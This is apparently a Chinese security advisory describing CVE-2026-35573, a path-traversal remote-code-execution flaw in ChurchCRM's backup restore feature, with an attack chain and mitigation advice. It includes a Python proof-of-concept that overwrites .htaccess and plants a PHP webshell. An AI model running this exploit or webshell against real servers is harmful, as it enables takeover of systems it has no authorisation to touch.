IPBUF安全漏洞报告
English
CVE-2026-35573 CVSS 9.1 严重

CVE-2026-35573 ChurchCRM备份恢复远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35573
漏洞类型
远程代码执行
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

RCEPath TraversalChurchCRMFile UploadArbitrary File WriteCVE-2026-35573

漏洞概述

ChurchCRM是一个开源的教堂管理系统。在6.5.3版本之前,其备份恢复功能中存在一个路径遍历漏洞。经过身份验证的管理员可以利用该漏洞上传任意文件,特别是通过覆盖Apache的.htaccess配置文件,从而在服务器上实现远程代码执行。该漏洞源于对用户输入的文件名缺乏充分过滤,攻击者可控制文件名并将其上传至特定目录。

技术细节

该漏洞位于`src/ChurchCRM/Backup/RestoreJob.php`文件中。问题出在处理备份恢复上传的代码逻辑上,具体变量`$rawUploadedFile['name']`直接由用户控制且未经过严格的路径规范化处理。攻击者可以通过构造包含`../`序列的恶意文件名,绕过上传目录限制,将文件上传至`/var/www/html/tmp_attach/ChurchCRMBackups/`以外的路径。由于ChurchCRM运行在Apache环境下,攻击者可以精心构造一个名为`.htaccess`的文件进行上传,覆盖原有的Web服务器配置。通过在恶意的`.htaccess`文件中写入指令(例如将特定扩展名解析为PHP),攻击者可以进一步上传Webshell或执行任意系统命令,从而完全控制服务器。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标使用的是ChurchCRM系统,并获取了管理员级别的账户凭据。
STEP 2
2. 漏洞利用
攻击者登录后台,访问备份恢复功能接口,利用路径遍历漏洞(../)上传恶意构造的.htaccess文件。
STEP 3
3. 配置篡改
恶意.htaccess文件被写入Web目录,修改了Apache配置,使得服务器将特定文件(如.jpg)解析为PHP脚本。
STEP 4
4. 获取权限
攻击者上传包含恶意代码的图片文件(Webshell),由于配置已被篡改,该文件被作为PHP执行。
STEP 5
5. 执行命令
攻击者通过访问Webshell发送HTTP请求,在服务器上执行任意系统命令,完全控制主机。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) url = "http://target-churchcrm.com/RestoreJob.php" # Attacker needs a valid admin session cookie cookies = {'PHPSESSID': 'valid_admin_session_id'} # Step 1: Upload a malicious .htaccess file to change file handler # We use path traversal '../' to move out of the backup dir to the web root # Content: Treat .jpg files as PHP code htaccess_payload = "AddType application/x-httpd-php .jpg" files = { 'file': ('../../.htaccess', htaccess_payload, 'text/plain') } print("[+] Uploading malicious .htaccess...") r1 = requests.post(url, files=files, cookies=cookies) if r1.status_code == 200: print("[+] .htaccess potentially uploaded.") # Step 2: Upload a webshell disguised as an image webshell_code = "<?php system($_GET['cmd']); ?>" files_shell = { 'file': ('shell.jpg', webshell_code, 'image/jpeg') } print("[+] Uploading webshell...") r2 = requests.post(url, files=files_shell, cookies=cookies) if r2.status_code == 200: print("[+] Exploit complete. Access shell at: http://target-churchcrm.com/tmp_attach/ChurchCRMBackups/shell.jpg?cmd=whoami") else: print("[-] Exploit failed.")

影响范围

ChurchCRM < 6.5.3

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用备份恢复功能,或者在Web服务器层面(如Apache配置)禁止覆盖.htaccess文件(AllowOverride None)。同时,应加强对上传文件的检查,过滤文件名中的路径遍历字符(如../),并将上传目录设置为不可执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表